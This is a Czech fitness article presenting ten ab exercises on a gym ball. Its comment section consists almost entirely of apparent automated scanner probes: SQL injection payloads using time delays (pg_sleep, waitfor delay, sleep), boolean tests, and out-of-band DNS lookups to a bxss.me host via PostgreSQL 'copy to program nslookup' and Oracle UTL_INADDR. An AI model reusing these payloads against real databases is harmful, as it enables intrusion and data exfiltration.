reklama
cz / EN / esp

Posilování: mějte pevné břicho díky cvikům na míči

Díky netradičním cvikům na míči zpevníte celé tělo. Podívejte se na video.

reklama

Ve fitness centrech patří posilování břišních svalů k nejčastěji prováděným cvikům. Mnoho cviků máme vyzkoušených, jejich provádění však často spadá do určité rutiny. Naše tělo stagnuje, protože nedostává pořádné stimuly. Proto jsem si pro vás připravil nové náročnější cviky.

 

 

Vybral jsem deset variant cvičení s míčem. Některé z nich jsou opravdu náročné na stabilitu, proto věnujte čas přípravě před samotným cvičením, abyste uměli správně zkoordinovat celý pohyb ve prospěch pořádného pálení v břišní oblasti. Jednotlivě očíslované cviky vám teď představím.

 

Cvik 1
Toto je jeden z náročnějších cviků. Kromě posílení břišní stěny procvičíte i stabilizační svaly. Lehněte si na míči na záda, jednu nohu narovnejte, druhou nechte pokrčenou a stabilizujte se. Snažte se narovnanýma rukama kmitem přiblížit k natažené noze. Po 15 opakování vyměňte nohy.

 


Cvik 2
Tímto cvikem procvičíte hlavně šikmé břišní svaly. Jednu ruku položíte na míč v lehu, protilehlou nohu máte položenou na zemi. Druhou ruku dáte za hlavu a loktem se přibližujete k opačnému kolenu, které také přitahujete k lokti.

 


Cvik 3
Jde o variantu jednoduchých rotací trupu, spodní záda držte nehybná, pevně spojená s plochou míče.


Cvik 4
Náročný cvik, kde ležíte na zádech na míči, natáhnete jednu ruku a protilehlou nohu a snažíte se kmitem je k sobě přiblížit. Druhou rukou se držíte míče, druhá noha stabilizuje vaši pozici.


Cvik 5
Jednodušší varianta předchozího cviku. Lehněte si na zem, levou nohu opřete o míč, levým loktem se snažte přiblížit ke koleni pravé pokrčené nohy. Pánev držte mírně zvednutou od země.


Cvik 6
Cvik zaměřený na posílení spodních břišních svalů. Mezi nohy si umístíme míč, nohy v kolenním kloubu svírají úhel 90 stupňů. Ruce máme položené na zemi, lopatky jsou zvednuté. Kolena přitahujeme k břichu a zlehka pokládáme na zem.

 


Cvik 7
Vylepšené sklapovačky - míč si střídavě vkládáme mezi nohy a bereme si ho při sklápění zpět do rukou. Nohy jsou během cvičení narovnané.


Cvik 8
Plank na míči - lokty máme opřené o míč, tělo rovné jako při klasickém planku.

 


Cvik 9
Přítahy nohou s míčem - mezi nohy si položíme míč a přitahujeme v ohybu kolen míč směrem k břichu. Míč při zpětném pohybu nepokládáme na zem.


Cvik 10
Kombinované zkracovačky se zvednutím nohou. Začínáme jako při klasických zkracovačkách, lopatky zvedáme od země, ruce za hlavou, nohy položené z boku na míči. Při druhém pohybu zvedáme míč s pokrčenými koleny směrem k břichu - lopatky jsou stále zvednuté nad zemí.

Michael Achberger / 20.04.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





1acu7d3MPnjT4W 15.05.2018
1
vikuljyf 15.05.2018
1acuDPARoY9HB3
1acu7d3MPnjT4W 15.05.2018
1
vikuljyf 15.05.2018
1
vikuljyf 15.05.2018
1
1acu7d3MPnjT4W 15.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
609' 14.05.2018
1
qkqmtnuv';copy (select '') to program 'nslookup dns.sqli.\039481.50-6654.50.c3852.\1.bxss.me 14.05.2018
1
qkqmtnuv';copy (select '') to program 'nslookup dns.sqli.\039481.50-6654.50.c3852.\1.bxss.me 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6647.50.c3852.1.bxss'||'.me')||' 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6647.50.c3852.1.bxss'||'.me')||' 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6647.50.c3852.1.bxss'||'.me')||' 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6647.50.c3852.1.bxss'||'.me')||' 14.05.2018
1
mBmR2r1H'));select pg_sleep(10.531); -- 14.05.2018
1
oPH5IjRd');select pg_sleep(0); -- 14.05.2018
1
bp0dEjSX');select pg_sleep(10.531); -- 14.05.2018
1
GoaE1VUJ';select pg_sleep(31.593000000000003); -- 14.05.2018
1
gj6Lar0e'; waitfor delay '0:0:31.593000000000003' -- 14.05.2018
1
if(now()=sysdate(),sleep(21.062),0)/*'XOR(if(now()=sysdate(),sleep(21.062),0))OR'"XOR(if(now()=sysdate(),sleep(21.062),0))OR"*/ 14.05.2018
1
(select(0)from(select(sleep(21.062)))v)/*'+(select(0)from(select(sleep(21.062)))v)+'"+(select(0)from(select(sleep(21.062)))v)+"*/ 14.05.2018
1
1 waitfor delay '0:0:31.593000000000003' -- 14.05.2018
1
rsrxhqgi 14.05.2018
1
-1" OR 3*2>(0+5+534-534) -- 14.05.2018
1
rsrxhqgi 14.05.2018
1
-1" OR 3*2<(0+5+534-534) -- 14.05.2018
1
-1" OR 3+534-534-1=0+0+0+1 -- 14.05.2018
1
-1" OR 2+534-534-1=0+0+0+1 -- 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
-1' OR 3*2>(0+5+115-115) or 'C74ad7jD'=' 14.05.2018
1
-1' OR 3*2<(0+5+115-115) or 'C74ad7jD'=' 14.05.2018
1
-1' OR 3+115-115-1=0+0+0+1 or 'C74ad7jD'=' 14.05.2018
1
-1' OR 2+115-115-1=0+0+0+1 or 'C74ad7jD'=' 14.05.2018
1
-1' OR 3*2>(0+5+844-844) -- 14.05.2018
1
rsrxhqgi 14.05.2018
1
-1' OR 3*2<(0+5+844-844) -- 14.05.2018
1
-1' OR 3+844-844-1=0+0+0+1 -- 14.05.2018
1
rsrxhqgi 14.05.2018
1
-1' OR 2+844-844-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3*2>(0+5+668-668) 14.05.2018
1
-1 OR 3*2<(0+5+668-668) 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
-1 OR 3+668-668-1=0+0+0+1 14.05.2018
1
-1 OR 2+668-668-1=0+0+0+1 14.05.2018
1
-1 OR 3*2>(0+5+448-448) -- 14.05.2018
1
-1 OR 3*2>(0+5+448-448) -- 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
-1 OR 3*2<(0+5+448-448) -- 14.05.2018
1
-1 OR 3+448-448-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+448-448-1=0+0+0+1 -- 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
rsrxhqgi 14.05.2018
1
''"" 14.05.2018
1
''"" 14.05.2018
1
'" 14.05.2018
1
JyI= 14.05.2018
1
qkqmtnuv 14.05.2018
186'
@@xSChM 14.05.2018
1
@@xSChM 14.05.2018
1
qkqmtnuv 14.05.2018
186'
1%2527%2522 14.05.2018
1
\ 14.05.2018
1
1'" 14.05.2018
1
qkqmtnuv 14.05.2018
186'
rsrxhqgi 14.05.2018
1
qkqmtnuv 14.05.2018
186'
qkqmtnuv 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6609.50.c3852.\1.bxss.me'
qkqmtnuv 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6608.50.c3852.1.bxss'||'.me')||'
qkqmtnuv 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6607.50.c3852.1.bxss'||'.me')
qkqmtnuv 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6607.50.c3852.1.bxss'||'.me')
qkqmtnuv 14.05.2018
-1));select pg_sleep(50.188); --
qkqmtnuv 14.05.2018
k0PEwqOv'));select pg_sleep(75.28200000000001); --
qkqmtnuv 14.05.2018
m0Kd0uVn');select pg_sleep(75.28200000000001); --
qkqmtnuv 14.05.2018
aPTc1vI2';select pg_sleep(75.28200000000001); --
qkqmtnuv 14.05.2018
-1);select pg_sleep(50.188); --
qkqmtnuv 14.05.2018
Ly9D6bG9'; waitfor delay '0:0:25.094' --
qkqmtnuv 14.05.2018
-1); waitfor delay '0:0:75.28200000000001' --
rsrxhqgi 14.05.2018
''""
rsrxhqgi 14.05.2018
'"
rsrxhqgi 14.05.2018
JyI=
qkqmtnuv 14.05.2018
-1; waitfor delay '0:0:75.28200000000001' --
rsrxhqgi 14.05.2018
@@52C43
rsrxhqgi 14.05.2018
1%2527%2522
qkqmtnuv 14.05.2018
(select(0)from(select(sleep(50.188)))v)/*'+(select(0)from(select(sleep(50.188)))v)+'"+(select(0)from(select(sleep(50.188)))v)+"*/
rsrxhqgi 14.05.2018
\
rsrxhqgi 14.05.2018
1'"
qkqmtnuv 14.05.2018
if(now()=sysdate(),sleep(50.188),0)/*'XOR(if(now()=sysdate(),sleep(50.188),0))OR'"XOR(if(now()=sysdate(),sleep(50.188),0))OR"*/
rsrxhqgi 14.05.2018
1
qkqmtnuv 14.05.2018
-1" OR 3*2>(0+5+556-556) --
rsrxhqgi 14.05.2018
1
qkqmtnuv 14.05.2018
-1" OR 3*2<(0+5+556-556) --
rsrxhqgi 14.05.2018
1
qkqmtnuv 14.05.2018
-1" OR 3+556-556-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1" OR 2+556-556-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1" OR 2+556-556-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1" OR 2+556-556-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1' OR 3*2>(0+5+292-292) or 't3VxVkms'='
qkqmtnuv 14.05.2018
-1' OR 3*2>(0+5+292-292) or 't3VxVkms'='
qkqmtnuv 14.05.2018
-1' OR 3*2>(0+5+292-292) or 't3VxVkms'='
qkqmtnuv 14.05.2018
-1' OR 3*2<(0+5+292-292) or 't3VxVkms'='
qkqmtnuv 14.05.2018
-1' OR 3*2<(0+5+292-292) or 't3VxVkms'='
qkqmtnuv 14.05.2018
-1' OR 3*2<(0+5+292-292) or 't3VxVkms'='
qkqmtnuv 14.05.2018
-1' OR 3+292-292-1=0+0+0+1 or 't3VxVkms'='
qkqmtnuv 14.05.2018
-1' OR 3*2>(0+5+185-185) --
qkqmtnuv 14.05.2018
-1' OR 2+292-292-1=0+0+0+1 or 't3VxVkms'='
qkqmtnuv 14.05.2018
-1' OR 3*2>(0+5+185-185) --
qkqmtnuv 14.05.2018
-1' OR 3*2>(0+5+185-185) --
qkqmtnuv 14.05.2018
-1' OR 3*2<(0+5+185-185) --
qkqmtnuv 14.05.2018
-1' OR 3+185-185-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1' OR 2+185-185-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1' OR 2+185-185-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1' OR 2+185-185-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1 OR 3*2>(0+5+467-467)
qkqmtnuv 14.05.2018
-1 OR 3*2<(0+5+467-467)
qkqmtnuv 14.05.2018
-1 OR 3*2<(0+5+467-467)
qkqmtnuv 14.05.2018
-1 OR 3+467-467-1=0+0+0+1
qkqmtnuv 14.05.2018
-1 OR 2+467-467-1=0+0+0+1
qkqmtnuv 14.05.2018
-1 OR 3*2>(0+5+592-592) --
qkqmtnuv 14.05.2018
-1 OR 3*2<(0+5+592-592) --
qkqmtnuv 14.05.2018
-1 OR 3+592-592-1=0+0+0+1 --
qkqmtnuv 14.05.2018
-1 OR 2+592-592-1=0+0+0+1 --
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
qkqmtnuv 14.05.2018
1
pokegwlq 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag